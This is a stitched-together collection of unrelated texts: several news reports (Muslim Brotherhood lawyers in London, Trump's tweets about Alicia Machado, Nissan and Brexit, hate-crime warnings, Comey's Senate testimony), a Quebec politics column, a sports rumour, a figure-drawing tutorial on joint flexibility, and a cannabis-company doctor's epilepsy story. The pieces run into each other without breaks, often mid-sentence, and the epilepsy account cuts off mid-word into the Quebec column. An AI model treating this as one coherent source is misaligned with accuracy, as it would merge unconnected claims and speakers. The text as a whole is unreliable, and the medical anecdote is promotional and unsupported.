The Muslim Brotherhood, through its political wing the Freedom and Justice Party, has instructed lawyers in London to investigate whether Abdulfattah al-Sisi, the Egyptian general at the head of the army, who deposed Mohammed Morsi, the country’s democratically-elected president, has committed crimes against humanity.
The team of lawyers includes Lord Macdonald of River Glaven, the former director of public prosecutions, and Michael Mansfield QC, who brought the private prosecution against the killers of Stephen Lawrence.
Legal actions may be brought at the International Criminal Court (ICC) in the Hague or else through a private prosecution in London.
If successful, Egypt’s new military rulers may face having their assets frozen in the West and even possibly arrest should they try to visit the European Union or other countries signed up to the ICC.
Mr Amin is understood to be heavily involved in bringing the case although lawyers refuse to identify individuals over fears for their safety.
Tayab Ali, a partner at human rights law firm ITN Solicitors who is head of the legal team, said: “It is really dangerous for Muslim Brotherhood members in exile in London.
"Nobody anticipated how extreme General Sisi’s interim government has been. It appears to be trying to exterminate the Muslim Brotherhood and wipe it out. Nobody will argue that the lives of the senior leadership are in danger and that includes those in London.”
There has been confusion over who is running the Muslim Brotherhood since the security crackdown. Mohammed Badie, 70, its previous spiritual leader, was arrested last Tuesday morning in Cairo.
His position appears to have been taken by Mr Amin, a deputy leader almost a decade older. Mr Badie defeated him in elections to the senior position in 2010.
The Muslim Brotherhood has refused to confirm the identity of its new spiritual leader but Mshariq.com, an Arabic news website, reported that an emergency meeting had taken place following Mr Badie’s arrest and Mr Amin given the role. It is not clear if he is an interim leader.
Mona al-Qazzaz, the Muslim Brotherhood’s spokeswoman in the UK, described Mr Amin as a senior leader who had arrived in London earlier in the summer.
She said: “He is one of the senior leaders of the Muslim Brotherhood and he is here in London. He was here for medical checks two months ago.”
Mr Amin, a father of three, has been an official member of the Muslim Brotherhood since 1951 and for many years has been pursued by the Egyptian authorities.
He was jailed for six years between 1965 and 1971 for opposing the government of Gamal Abdel Nasser and was later put on a wanted list following the assassination of Anwar Sadat in 1981 - part of a mass round up of Muslim Brotherhood leaders - prompting him to live in exile in Saudi Arabia for four years
He was a vocal supporter of the Arab Spring and actively voiced calls for Sunni Muslims, who predominantly support the Muslim Brotherhood, and Shiites to unite against “a single enemy who [is] American Zionist”.
The scale of support for the Muslim Brotherhood in the UK is unclear but it is estimated that between 500 and 1,000 Egyptians living in London voted for the party through ballot at the Egyptian embassy in London. The majority of the 6,000 Egyptian citizens in London voted for alternative parties in the elections last year.Donald Trump apparently didn’t sleep very well last night. At 3:20 am Eastern, he tweeted angrily about the news media. And then a little after 5 am, he started attacking Alicia Machado — the former Miss Universe the Clinton campaign is using to make a point about Trump’s treatment of women — including repeating a debunked rumor that she starred in a sex tape.
This isn’t the first time Trump has fought back against his critics with the end result of amplifying a damaging story in the news media. And his angry response backs up Clinton’s depiction of Trump as a man who is easily provoked.
Clinton first mentioned Machado during the final moments of the debate Monday night, saying Trump called her “Miss Piggy” because she’d gained weight and “Miss Housekeeping” because she was Latina. For the rest of the week, Trump has been attempting to defend and justify his actions.
In his early-morning tweets, Trump called Machado “disgusting” and said she’d “duped” Clinton, calling Machado’s past “terrible”:
Wow, Crooked Hillary was duped and used by my worst Miss U. Hillary floated her as an "angel" without checking her past, which is terrible! — Donald J. Trump (@realDonaldTrump) September 30, 2016
Using Alicia M in the debate as a paragon of virtue just shows that Crooked Hillary suffers from BAD JUDGEMENT! Hillary was set up by a con. — Donald J. Trump (@realDonaldTrump) September 30, 2016
Did Crooked Hillary help disgusting (check out sex tape and past) Alicia M become a U.S. citizen so she could use her in the debate? — Donald J. Trump (@realDonaldTrump) September 30, 2016
There’s a lot to unpack here, but first, let’s all note that the possible next leader of the free world — who has angrily disputed Hillary Clinton’s description of him as “a man you can bait with a tweet” — spent 15 minutes tweeting angrily about a woman who’s made a negative ad against him.
Trump’s mention of Machado’s past probably refers to the fact that she was once accused of threatening to murder a judge and driving a getaway car in an attempted murder. She was never charged with anything, but she doesn’t dispute the allegations, saying this week, “Everybody has a past. And I’m not a saint girl.”
The “sex tape” rumor, on the other hand, is completely false. Snopes looked into it and found that while Machado did once pose topless in Playboy and was portrayed having sex during a Real World-esque Spanish reality TV show, the footage from the show wasn’t explicit:
However, the so-called "sex tape" stemming from that incident, which is nothing more than some grainy, night-vision footage of a couple of covered figures writhing in a bed, hardly qualifies as explicit. And reality television being what it is, the scene the tape depicts was quite possibly staged or fabricated.
The pornography on the internet that claims to star Machado, meanwhile, actually features a look-alike actress.
Finally, there’s no evidence that Clinton helped Machado to become a citizen. As the Washington Post’s Greg Sargent writes, the citizenship process takes months or years. Machado has been giving media interviews since before Clinton mentioned her at the debate, and she said in August that she’d become an American citizen because she believed it was so important to vote against Trump.
Clinton baited Trump — and he took the bait
Clinton spent most of the first presidential debate on Monday night purposefully getting under Trump’s skin: alluding to the loan he had from his father to start his business, repeatedly calling him only by his first name, and so forth. But Machado, who she didn’t mention until the closing minutes of the debate, turns out to have been her ultimate achievement in trolling Trump.
By launching a new barrage of attack-tweets at Machado, Trump has taken what would have been just one element of Clinton’s strong debate performance and turned it into a weeklong story.
That’s because, while Trump is volatile, he’s not unpredictable. Over and over, when he’s attacked, he refuses to let it go unanswered. “When you attack him he will punch back 10 times harder,” his wife Melania said in April. Yet the more he fights back, the more he keeps the damaging story in the headlines in the first place.
This is what Trump did when Khizr Khan, the father of a slain American Army officer, criticized Trump’s treatment of Muslims at the Democratic National Convention — and it was one of the most damaging moments of his entire campaign.
Now it’s happening again with Machado. Every time Clinton draws Trump into asymmetric warfare against a private citizen, he proves one of her attacks against him is true: He’s a man who is quick to anger and easy to bait.
This election is about normal vs. abnormalLabour MP says tens of thousands of jobs at risk with future of Sunderland Nissan plant put in jeopardy by Brexit uncertainty
Sunderland faces the “catastrophic” loss of tens of thousands of jobs unless Theresa May gives urgent assurances to Nissan over trade tariffs, a local MP has warned.
Julie Elliott, the Labour MP for Sunderland Central, said the city and wider region could suffer job losses “on a scale not seen since the closure of the shipyards and coal mines” due to Brexit uncertainty.
In a letter to the prime minister, Elliott said the looming threat of EU export tariffs had already jeopardised the future of Sunderland’s Nissan car plant and the 35,000 jobs it supports.
“Tens of thousands of jobs in Sunderland, over 100,000 jobs in the north-east and many hundreds of thousands of thousands of jobs across the UK are at risk as a direct result of the potential introduction of trade tariffs,” Elliott wrote.
Nissan is an early sign of the downturns and the divisions Brexit could bring | Will Hutton Read more
Britain’s booming motor industry faces an uncertain future in the wake of the Brexit vote, with Europe the destination for almost 60% of the cars made in the UK. For some plants, such as Nissan’s factory in Sunderland and Toyota’s in Derbyshire, the figure is as high as 80%.
Nissan’s chief executive, Carlos Ghosn, warned a fortnight ago that it was delaying new investments in its Sunderland plant until the UK had concluded Brexit negotiations, raising the possibility that new models would be built overseas if the UK was hit with tariffs.
Nissan’s Sunderland factory produces more than half a million cars a year and is due to decide in the first quarter of next year where it will produce the new Qashqai, its popular small SUV model.
Elliott warned that a 10% tariff on each vehicle sold into the EU would put Sunderland at a “competitive disadvantage” to the car giant’s other European plants. Around 35,000 people in the north-east, many of whom live in Sunderland, are employed either by Nissan or one of the many companies in its supply chain.
“The Brexit negotiations present an opportunity for us to create an environment for companies to flourish, feel confident to invest and be able to create even more jobs. If the prime minister fails to take urgent action now, however, we risk job losses on a scale not seen in Sunderland since the shipyards and coal mines closed a generation ago,” Elliott said.
Elliott, who was careful not to issue such stark warnings of job losses before the referendum, denied she was scaremongering but said: “We have to be realistic about what the consequences will be.
“Terrifyingly, the future of Sunderland’s Nissan plant has been jeopardised,” she said.
In the letter to May, Elliott added: “This is not a political issue but a practical matter concerning the future of UK manufacturing, a sector of strategic significance to our economic security. I urge you to take immediate action to address these issues in order to protect my region and prevent UK manufacturing being eliminated.”
Nissan is not the only giant in Britain’s motor industry to have issued warnings about trade tariffs since the referendum on 23 June. Jaguar Land Rover, the UK’s has biggest car maker by units, said trade barriers would “not only affect what we sell but what we buy, and it will ultimately damage our business and British jobs”.
Facebook Twitter Pinterest Julie Elliott, Labour MP for Sunderland Central: ‘This is not a political issue but a practical matter concerning the future of UK manufacturing.’ Photograph: Christopher Thomond for the Guardian
Earlier on Tuesday George Osborne said the government must urgently respond to the motor industry’s concerns and seek the “closest possible economic relationship” with its former EU partners.
Giving evidence to MPs on the business select committee, the former chancellor said: “This government and this parliament have got to make the UK the place to make cars in Europe – as it has been in recent years.
“We have got to make sure that the future for the automotive industry is very successful, that this is an environment where people want to come and build their cars, where there’s access to a skilled workforce, where the tax regime is right and the local economy can support the car plant and they can export those cars into the continent of Europe.
“We are a European base for car manufacturing. We produce more cars out of that plant in Sunderland than the whole of Italy. That’s got to be something we focus on in the coming years, and overcome the challenges that present us.”UK human rights watchdog says police should be prepared for backlash against EU citizens when article 50 is triggered
Britain should prepare for a fresh spike in hate crimes against EU citizens when the article 50 process triggering Brexit begins, the human rights watchdog has said.
David Isaac, chairman of the Equality and Human Rights Commission (EHRC), told a hearing of MPs he was worried the start of formally leaving the bloc could cause a backlash against EU citizens, similar to the period of increased hate crime that followed the EU referendum, and was calling on police to be prepared for such an eventuality.
Theresa May has promised to trigger article 50 before the end of March but it could come earlier than that now she has set out her plans to leave the single market in order to secure immigration controls and remove the UK from the jurisdiction of the European court of justice.
Poles in UK fear spike in hate crimes when Brexit process begins Read more
The government is now awaiting the outcome of a supreme court decision about whether parliament will have to pass an act approving Brexit before it can go ahead.
Ahead of that ruling, Isaac told MPs on the women and equalities committee that the EHRC was “hugely concerned about what might happen in relation to an increase in hate crime” when article 50 is triggered.
“And so, to give you examples of what we are seeking to do, we are meeting with groups, we are seeking to ensure that there is as much police protection and understanding in relation to hate crimes as is possible,” he said.
“And, I think, given our role, I believe, we are uniquely placed to be doing all of this at a time when Britain needs guidance in relation to huge anxiety that resides, not just in relation to non-UK citizens and our visitors, but actually many of our own citizens.”
Highlighting the rise in hate crime over the summer, he said: “One of the things that concerns us greatly is the position in relation to the spike in hate crimes since 23 June. I’ve met with the Polish ambassador, my opposite number in Poland, because of the large number of attacks against the Polish community, but I am also in touch with various other groups.”
The prime minister’s spokeswoman said the government would “certainly not want” a surge in hate crimes, when asked if May shared Isaac’s concerns.
“The prime minister has taken a very strong and clear stance on our commitment to continuing to be an open and tolerant nation and to stamp out hate crime wherever it exists,” she said.
“What is important is the approach we have taken of consistently and repeatedly saying that hate crime is completely unacceptable, and that the outcome of the referendum was not a vote to become inward-looking and to stop being an open and tolerant nation. We will continue to champion those values and stand up for them.”
Joanna Mludzinska, a Polish community leader, warned last week that a “wave” of hate crimes against European migrants could follow the start of Britain’s exit from the EU.
The chair of the Polish Social and Cultural Association told MPs on the Commons home affairs committee that triggering article 50 could act as a “flashpoint” for new xenophobic attacks.
Mludzinska said: “Where those people who for whatever reason thought everything would be resolved by Brexit find that doesn’t miraculously happen... there might be another wave of response... ‘Why aren’t we getting what we wanted, and why are they still here?’”
At the hearing, Yvette Cooper, the committee’s chair, said details of hate crime incidents heard by her committee were appalling. “Hate crime is appalling, un-British and should have no place in our country,” she said.Last year’s superhero spectacle “Batman v Superman: Dawn of Justice” was polarizing to say the least — while it was profitable at the box office, it was blasted by critics, earning a dismal 27% score on Rotten Tomatoes.
Ben Affleck, who played Batman in the movie, has heard fans’ complaints, many of which zeroed in on the film’s excessively dark tone and the writing. But in an interview with Empire, he revealed that he thinks such criticisms are “fair.”
“I can understand people saying [‘Batman V Superman’] was too dark, or this was outside the tone of what I’m used to seeing with a Batman story, and I think that’s a fair criticism,” Affleck said.
He added that much like “Wonder Woman,” the upcoming “Justice League” film will have a lighter tone. “Zack [Snyder] wanted to make a movie that was more fun, that was a little bit light, that wasn’t so encumbered with heavy melodrama,” he said. Affleck noted that the lighter approach to “Justice League” was planned in advance of “Batman v Superman’s” release and is not in response to the film’s criticisms.
The negative reviews to the superhero blockbuster even spawned a “sad Affleck” meme, which centered on a video which appeared to show the actor dejected as an interviewer brought up the criticism.
“Justice League” will be released on Nov. 17.The Los Angeles Lakers General Manager Mitch Kupchak has finally seen enough. The Lakers have finally accepted that things need to change. And fast.
Kupchak has contacted the Minnesota Timberwolves to see about Dante Cunningham‘s availability.
Jordan Hill will require hip surgery and is scheduled to be out for the remainder of the season. While, Pau Gasol seems to have earned a new position as the Lakers sixth man. Cunningham is a 6-foot-8, 25-year-old power forward and is the much needed addition to the Lakers roster to fill the gap Hill and Gasol have left.
Cunningham has only started in seven games for the Timberwolves this season so there is a pretty good chance that even with the Timberwolves ever-growing number of injuries, he will be available to the Lakers.
Even if the Timberwolves don’t want to part with Cunningham, Kupchak has smoothly negotiated much more difficult trade situations.
Cunningham is a good rebounder, averaging 5.5 rebounds per game while only playing 22.4 minutes. However, the most appealing part about him is that he’s the young forward the Lakers need coming off the bench. Cunningham can even start when the Lakers need size and energy against young and athletic teams.
Cunningham plays with energy and he can run. He provides depth to the Lakers bench just as Earl Clark and Hill have. Although, Cunningham averages only 7.0 points per game in 22.4 minutes he averages, he can be the defense first forward the Lakers desperately need.
Who and/or what exactly the Lakers are planning to trade to the Timberwolves is unclear. The Timberwolves have Kevin Love so they probably aren’t interested in Gasol.
The Lakers don’t have any first round draft picks until the end of the century due to the Dwight Howard and Steve Nash trades so those are out of the question as well.In this last session before we start putting faces on our characters, I'll be introducing flexibility. Flexibility is the ability to stretch a joint to the limit of its range of movement, aka "how joints can and cannot move". This material gathered from my own martial art and flexibility training is not frequently covered in books on drawing the human figure, but it complements the muscles in understanding the body in motion. It's also necessary in order to articulate the body in a natural-looking way, rather than like a wooden manikin with screwed-on limbs!
Before plunging in, a word of warning: do not use this tutorial as a reference for physical activity. This is an art reference and some of the material is simplified for that purpose. Do not attempt anything physical without the guidance of a professional.
General Flexibility Facts
Before jumping into this, it's worth keeping in mind some general flexibility facts which will help aid your learning.
The female body tends to more flexibility, the male body to more muscle power.
Flexibility in one joint does not necessarily imply flexibility in others.
More muscles means less flexibility. Bodybuilders have the most limited range of movement for all the joints, first because they don't stretch, second because the bulging muscles get in the way (remember Zangief in Street Fighter II?). Only athletes and performers who follow power workouts as well as stretching routines (Wushu athletes, gymnasts) can have both muscle strength and flexibility, and their muscles are fine and sinewy, not bulging (think Bruce Lee). In daily life, something like cycling will also decrease leg flexibility if not balanced by just as much stretching. So it's very common for people not to even have the range shown below – look for the parts of their body they use most, and you'll know where they are most stiff.
The reverse is also true: more flexibility means less muscle, and those muscles are often very fragile because they are stretched so thin. For instance, some yoga practitioners who do extensive stretching but do not build the muscle, are extra vulnerable to muscle tear. Muscle power is actually essential for the active and dynamic types of flexibility, explained below.
Some people who are exceptionally flexible, or double-jointed, or have undergone intensive flexibility training from a young age, and they can move beyond the range shown here. This in no way means it's OK to ignore flexibility rules, as we all instinctively know what's "normal" for a body and what's exceptional. If you draw someone with limbs at an impossible angle, outside of a context that would allow suspension of disbelief (circus, gymnastics, the Exorcist), you risk coming across as a poor artist.
The Three Types of Flexibility
For drawing purposes, we need only be concerned with three kinds: passive, active and dynamic.
Passive flexibility is how much you can stretch when aided (either by the weight of your body, for instance when doing leg splits on the ground, or by a partner, fig. a). There is no muscle work in this case, and the extent of the stretch is determined by how much the muscles involved can elongate.
Active flexibility is how much you can stretch unaided, by stretching the joint and freezing in the position (fig. b). Raising your leg as high as you can (without kicking it) is one example. This is much more difficult and this range is always inferior to the passive range, because the resistance of the elongating muscles must be overcome by the strength of their antagonists.
Dynamic flexibility is how much you can stretch using momentum to force the stretch, for instance swinging the leg. Doing so pushes it beyond what you could do either passively or actively, but only for a split second. This is what happens during fights or actions sequences because of the speed of the movements, so it's quite appropriate to show extreme stretching in characters captured at the peak of the swing. In daily flexibility training, this can be used to gain more range – but the risk of tearing a muscle is very high and it must only be done after considerable warming up (absolutely do not try this at home).
Range of Movement For Each Joint
Here are the joints discussed below:
1. The Neck
The neck corresponds to the last seven vertebrae in the spine (the cervicals). They are like stacked cylinders separated by a "cushion", so their range of movement is limited.
Flexion: The chin can touch the sternum. This creates a double chin and unsightly skin folds.
Extension: The neck and jaw lines merge into a single curve.
Lateral bending: The ear cannot touch the shoulder unless the shoulder is raised.
Rotation: The neck on its own turns less than we may think. To look further back, we engage the upper body as well.
2. The Lumbar Spine (Lower Back)
This "articulation" is made up of the five vertebrae that emerge from the pelvic bone. Its range of movement is quite limited, but, because we always use it allied to other stretches, it often looks as if it allowed considerable motion. The diagram below shows how the involvement of other joints can make it look like the lumbar bending varies, but in fact it is the same in all four positions.
3. The Shoulder Joint
Of all the joints, this one has the biggest range thanks to its socket articulation: it can rotate 360º continuously. But that also means it can pop out of place if pushed too hard, which is why the well-known lock shown below is so effective: the shoulder joint is stretched to its limit by the pressure, and would dislocate if the muscles came into play.
4. The Elbow
In stark contrast to the shoulder, the elbow is like a door hinge – it opens in one direction and meets a stop.
Extension: Some people's elbows overextend. Although not that uncommon, use discretion when representing it in drawing. It may look right on some characters and weird on others.
Flexion: Don't take it for granted that the joint can close all the way! This movement is impeded by muscle mass, and we should be able to feel this in a muscular character, as it conveys the muscular bulk (as opposed to soft fat). If not taken into account, it will make the muscles look insubstantial and wrong.
Below are additional movements that don't belong to the elbow proper, but can be treated here. The forearm being composed of two parallel bones, can twist in both directions when the wrist is rotated, to the degree shown below (this arm is seen from behind):
5. The Wrist
The wrist's range of motion is almost all front and back; if you try to rotate it, you notice that it does not describe a proper circle, but more of an ellipse, because it can move so little to the sides.
Fingers can be quite flexible as well when they bend back (extension). Aided, some people's fingers can bend back up to 90º. Unaided, they can only extend a little and it requires much tension (occasionally using this in illustration gives the hand life and fluidity). They can also bend back individually, but if the rest of the hand is relaxed, the neighboring fingers will always be pulled up slightly by the lifted one.
6. The Hip Joint
The hip is the key to leg splits, and, of course, to all kicks so essential to martial arts. It is the lower body's mirror of the shoulder as it is also a socket articulation, though more limited.
Flexion: This range is valid when the knee is bent, or for a brief moment when the leg is kicked. When the knee is straight, it is much more difficult to raise and hold the leg above waist level. Achieving the full angle this way (through the sole power of the leg muscles) is nearly impossible, and athletes with this ability are extremely impressive.
Extension: Here the toes are aligned with the leg, but turning the foot slightly outward allows the leg to swing back a few more degrees.
Abduction requires some special attention, as the direction of the toes makes a dramatic difference: turning the toes outward permits a considerably bigger range than pointing them forward. This is due to the positioning of the joint in each case:
Because of the way the joint works, a middle split with toes pointing forward is impossible! A middle split should have the toes pointing up. If someone seems to be doing the former, check out their back: it's probably arched. This means they're really doing a toes-up split, but the pelvic bone along with the legs and feet are tilted forward.
7. The Knee
The knee is very much like the elbow:
Flexion: Just as is the case in the elbow, muscles can impede the flexion. Someone with muscular legs won't be able to sit on the heels this way. More muscles means sitting on the calves, the buttocks away from the heels.
Extension: The knee doesn't hyperextend! Exaggerated, sweeping leg silhouettes are due to the combined lines of the quadriceps and calf muscles that disguise the straight line of a normal extended knee.
Internal rotation: This reaches a greater degree when the hip joint also rotates in.
8. The Ankle
The ankle joint, in turn, mirrors the wrist, but with a much more limited range of rotation.
9. The Upper Body (Thoracic Spine)
The thoracic spine was not included in the diagram of joints above, as it is not a joint and indeed included in most flexibility trainings. This part of the spine has very limited movement. Usage of it will make a character look particularly fluid (think Spiderman), but it's easy to go too far and make them look like their back is broken!
At rest: The spine in normal state has an S-shape.
Flexion: The sternum sinks in while the vertebra at the base of neck juts out. Individual vertebrae can be seen on the back as the spine presses against the skin.
Extension: The sternum juts out while the space between the shoulder blades sinks. The back shows a furrow as the spine recedes.
Don't do this, the spine can't bend this way! In the correct version, you can see that a number of joints engage so the body as a whole arches back.
Rotation: Rotating the upper body means keeping the hips fixed and rotating only the rib cage left and right. Only a small movement is possible this way, much smaller than if you allowed your hips to help. This ability is cultivated, for instance, in Taijiquan and belly dancing. The head can of course still turn further, but within the neck's limits, so it can just reach 90º.
Composite Stretches
Now that we understand how the individual joints stretch, let's examine some actions that require several stretches together, so you can see how understanding the joints makes for more natural-looking poses. The red arrows indicate the joints where stretching occurs.
Front Split
There are two ways of splitting the legs frontally.
Below is the classic way, which is and the more difficult one, because the position of the knee demands more hip extension from the rear leg in order to "sit" completely on the ground. The knee of the rear leg is down and the sole of the foot up. Note that the front foot is always pointed if relaxed: flexing it would mean stretching the calf, which is a lot of extra effort.
The other way below has the rear knee out with the toes pointing in the same direction. It's a slightly easier position (easier on the knee as well), and favored in martial arts because it allows one to jump into a standing position (attempting to do so from a classic split would result in injury).
Side Kick
This specially popular action stance is a great example of how what you think you see A "side" kick is not truly given sideways, which would be the position of a middle split (we saw how limited that is), or even a hip abduction: it's actually closer to the martial arts version of a frontal split:
Wrong kick: All the joints involved have laterally limited range, and the body has to compensate by leaning sideways. This is so precarious, not only will he topple over sideways when his foot makes contact, but it's also going to be a very weak kick because there's nothing to draw power from.
Low side kick: The "pure" side kick (watch those shins!) is used for low kicks and involves no stretching at all.
Correct, so-called side kick: This is closest to the frontal split, meaning the kick is actually directed backwards, using mostly a hip extension. This allows the body to take the form of a continuous arch firmly planted on the upright leg, which directs plenty of power into it. It only looks like a "side" kick because the upper body twists the way it does.
Bridge
A good bridge, where the feet and hands are distant by one forearm, requires almost all the joints to be extended. The heels push the ground so that the weight is mostly on the hands and the waist is pushed up – the only way to stretch the hip/lumbar areas enough. Elbows remain fully extended, or "locked", but knees can't be straight without widening the bridge, which doesn't work as you quickly start slipping!
Practice Time
Moving forward, there are some exercises you can do to help aid your understanding of our flexibility.
Gently and without forcing in any way, try each of the movements described in the section Range of Movements for Each Joint (do not try the composite stretches). Feel your limits and see if you can tell which can be overcome with training and which are anatomically set. The point is to understand the material from within your body (if you exercise and stretch, you probably already do).
Look up photos of gymnasts and others who use flexibility to the extreme. Make quick sketches of them, then translate that into an average person's (or even a big muscular person's) range. (There's no scientifically accurate right answer so have fun, and keep an eye on what looks right or doesn't.)A few weeks ago I met Vicki and Aubrie at an event here in Northern California. When they found out that I was the medical director for Hawaiian Ethos, Vicki couldn’t wait to talk to me. With courage and persistence over many years, they have figured out what works best for Aubrie’s epilepsy, and were eager to have me tell their tale. There is a wealth of scientific evidence on the use of cannabis in seizure disorders but nothing carries the message as well as a good story with a happy ending.
This is the story of a vibrant young girl and her determined, brave mother. In 2000, at age five, Aubrie got her scheduled MMR booster. Ten days later she developed a low-grade fever that lasted for 24 days. As the fever persisted, she was getting dehydrated and going deeper into what her mother called a ‘deep, strange sleep.’ She lost her ability to speak and her personality changed, with a loss of interest in her surroundings – unusual for this active five year old. After three weeks, her mother insisted she be hospitalized in Huntsville, Alabama where they lived, because she knew something was terribly wrong. Aubrie was seen by neurologists and, along with a myriad of other diagnoses, they assumed she might have multiple sclerosis. After one week in the hospital she experienced her first seizure, had a lumbar puncture, and they found grey matter in her cerebrospinal fluid. She was diagnosed with meningitis, transferred to Birmingham for ICU care and given 21 days of antibiotics, and started on several seizure medications.
Aubrie Hill
After the 21 days of antibiotics, the doctors realized it was not infectious meningitis at all and gave her steroids for Acute Disseminated Encephalomyelitis (ADEM), a rare side effect of the MMR booster. She improved immediately and was apparently back to normal.
But it turned out she was not normal. For the next two years, unbeknown to her parents, she was having conversations with cartoon characters in her mind. Finally, her mother observed a partial-complex seizure that looked like the original ADEM. They took her to the University of Alabama Children’s Hospital where she was given multiple anti-seizure medications, none of which were effective. At this point, she was getting partial-complex seizures 3-4 times a week and they were increasing in intensity and frequency.
The left temporal lobe appeared to be the source of the seizures, so she was referred to neurosurgeons who recommended surgery for a seizure disorder that was not responsive to any of the medications available. The family finally agreed to this so the surgeons removed a large amount of brain tissue: the left temporal lobe, some of the hippocampus and some of the frontal lobe. Then, in the ICU, right after surgery, she had her first grand mal seizure. She was in 8th grade.
A young girl this age wants to get her driver’s license. Despite medications, she was |
ist bow. Mourani is not the first sovereigntist to cross over to the other side but the traffic on this particular Quebec road has traditionally been heavier in the other direction. Moreover, past lapsed sovereigntists had usually tended to be discreet about their change in allegiance.
But there was little that was furtive about this week’s developments. On Wednesday Mourani proclaimed that Canada — because fundamental rights are enshrined in its Constitution — is best placed to protect minorities.
Article Continued Below
A simple majority in the national assembly is enough to water down the rights guaranteed in the Quebec charter and the PQ is proposing to use that route to pave the way for the restrictions on religious rights that it seeks to impose throughout the province’s public service. Mourani added that with its secularism charter the PQ had veered from its long-held tenet of inclusiveness to embrace a more ethnic-based form of nationalism. Liberal Leader Justin Trudeau could have been speaking through her mouth. The reaction from sovereigntist quarters was virulent. But that virulence in itself is representative of an ongoing shift in the Quebec sovereigntist-federalist paradigm. For a long time the onus has been on francophone federalists to explain how they can find fault with the 1982 patriation of the Constitution without Quebec’s assent and/or support the PQ’s language laws and still oppose sovereignty. The inference has been that their loyalty to Canada is somewhat unprincipled; that it goes against the grain of the larger collective Quebec interest. Both the language and the constitutional issues also exposed divisions in the federalist facade that the PQ was only too happy to exploit. But with her secularism charter Marois might as well have taken a hammer to her own foundations. Over the past fall, Quebecers have been treated to the sight of public sovereigntist divisions — including between the premier and her predecessors — over the charter. Such divisions over the identity-related initiative of a PQ government are unprecedented. With federalists mostly on the sidelines, sovereigntists have been debating other sovereigntists over the perils of the charter for the fabric of Quebec society and for the greater cause of the province’s independence. This week, Mourani’s defection found other sovereigntist critics of the charter on the defensive, scrambling to explain how one could be staunchly against the Marois’ initiative and still support the PQ. By all indications they are failing to convince some of their own. On Friday, former Bloc MP Raymond Gravel penned a devastating open letter in which he wrote that Marois’ professed admiration for France’s secular model made him “want to vomit.” He described France as a country where discrimination and racism are rampant. Unless the charter is rewritten along more inclusive lines, Gravel concluded, he will terminate his 30-year association with the PQ. For decades the PQ had succeeded in commanding what most francophone Quebecers construed as the political high ground in the province’s identity debate. But its secularism charter has opened a breach in its walls of moral superiority and so far it is not federalists who are rushing in but sovereigntists who are running out. And they are not all leaving in the dead of the night. Chantal Hébert is a national affairs writer. Her column appears Tuesday, Thursday and Saturday.
Read more about:Capping one of the most anticipated Capitol Hill confrontations in years, fired FBI Director James B. Comey told a Senate panel on Thursday that he hopes there are Oval Office tapes to back up his assertion that President Trump asked him to drop the probe into former National Security Adviser Michael Flynn, saying he feared the president would lie about their private exchanges.
In a riveting nearly three-hour session that provided ammunition both for the president and for his detractors, Mr. Comey directly accused Mr. Trump of lying about why he was dismissed and said he interpreted Mr. Trump’s comments in a one-on-one conversation as a “direction” to quash the FBI probe into Mr. Flynn’s ties to Russia. He said he was also convinced that he was fired by Mr. Trump because he refused to drop the Russia investigation.
But Mr. Comey conceded that he received no direct order to drop the investigation, acknowledged that he was stunned and did not raise his objections to Mr. Trump’s remarks, and revealed that he purposely leaked his contemporaneous memos on their conversations after his firing last month explicitly in the hopes of forcing the Justice Department to appoint a special prosecutor to look into the Trump campaign’s Russia ties. Mr. Comey would not say Mr. Trump tried to obstruct justice. He deferred that judgment to special counsel Robert Mueller.
Mr. Comey insisted that any secret recording of his dealings with the president — which Mr. Trump hinted could exist in a Twitter post last month — would back up his version.
“Lordy, I hope there are tapes,” Mr. Comey said.
Asked directly by Sen. Angus King, Maine independent, if Mr. Trump’s answer to a reporter that he had never tried to interfere in the Flynn probe was accurate, Mr. Comey said simply, “I don’t believe it is.”
SEE ALSO: Comey cracks credibility of Lynch on Clinton email case
Mr. Trump stayed uncharacteristically silent throughout the day, but his attorney, Marc Kasowitz, spoke to reporters shortly after the open hearing of the Senate Select Committee on Intelligence. Mr. Kasowitz said Mr. Comey’s testimony proved that Mr. Trump never colluded with the Kremlin during his election campaign.
“Contrary to numerous false press accounts leading up to today’s hearing,” Mr. Kasowitz said, “Mr. Comey has now finally confirmed publicly what he repeatedly told the president privately: The president was not under investigation as part of any probe into Russian interference.”
He directly challenged other parts of Mr. Comey’s detail-rich testimony, denying Mr. Comey’s contention that Mr. Trump repeatedly asked for his loyalty or that he even hinted that the Flynn probe should be dropped.
“The president never, in form or substance, directed or suggested that Mr. Comey stop investigating anyone, including suggesting that Mr. Comey ‘let Flynn go,’” said Mr. Kasowitz, who did not take questions from reporters after reading the statement.
Still, the fired director described a twisted and uncomfortable relationship with a president he appeared to deeply distrust from the beginning — one reason he began to take notes of every one of his interactions with Mr. Trump.
In some of his most pointed words, Mr. Comey flatly rejected the White House’s initial explanation for his May 9 firing.
“Although the law required no reason at all to fire an FBI director, the administration then chose to defame me, and more importantly the FBI, by saying the organization was in disarray, that it was poorly led, that the workforce had lost confidence in its leader,” Mr. Comey said. “Those were lies, plain and simple.”
The accounts of Mr. Trump and Mr. Comey clashed on even the smallest of matters. The president told NBC interviewer Lester Holt that Mr. Comey called him to have dinner together at their fateful first meeting after Mr. Trump took office in January. Mr. Comey said Thursday that it was Mr. Trump who called him with the invitation, adding he had to break a date with his wife to attend the dinner.
There were some uncomfortable moments for Democrats as well. Mr. Comey recounted how the Obama administration tried to shape the tone of his criminal investigation into Democratic presidential candidate Hillary Clinton’s email scandal, with Attorney General Loretta E. Lynch successfully pressuring the bureau to call the probe a “matter,” not an “investigation.”
The hottest spotlight
In a Senate hearing room filled beyond capacity — people were reportedly lining up for the limited number of public seats at 4 a.m. — lawmakers and members of the public acknowledged that they were eager to hear directly from Mr. Comey. The committee’s unprecedented ninth public hearing of the year was packed with international press and broadcast live on several major networks, drawing comparisons to hearings over Watergate and the Iran-Contra affair.
Committee Chairman Richard Burr, North Carolina Republican, started the proceedings by pointing out disputes between Mr. Comey and Mr. Trump.
“The American people need to hear your side of the story, just as they need to hear the president’s description of events,” Mr. Burr said.
While Mr. Comey spoke without notes and sat alone at the witness table, Preet Bharara, a former U.S. attorney for the Southern District of New York who was dismissed by Mr. Trump in March, was seated nearby.
The committee’s top Democrat, Sen. Mark R. Warner of Virginia, insisted that the hearing was not an attempt to attack the president but to get to the bottom of Russian meddling in the election and the Trump administration’s behavior in light of the FBI’s investigation.
“Let me be clear: This is not a witch hunt. This is not fake news. It is an effort to protect our country from a new threat that will not go away anytime soon,” Mr. Warner said.
He asked Mr. Comey about the public “smear” of his character during and after his dismissal from the FBI and asked him to explain whey he documented his interactions with Mr. Trump in such detailed memos.
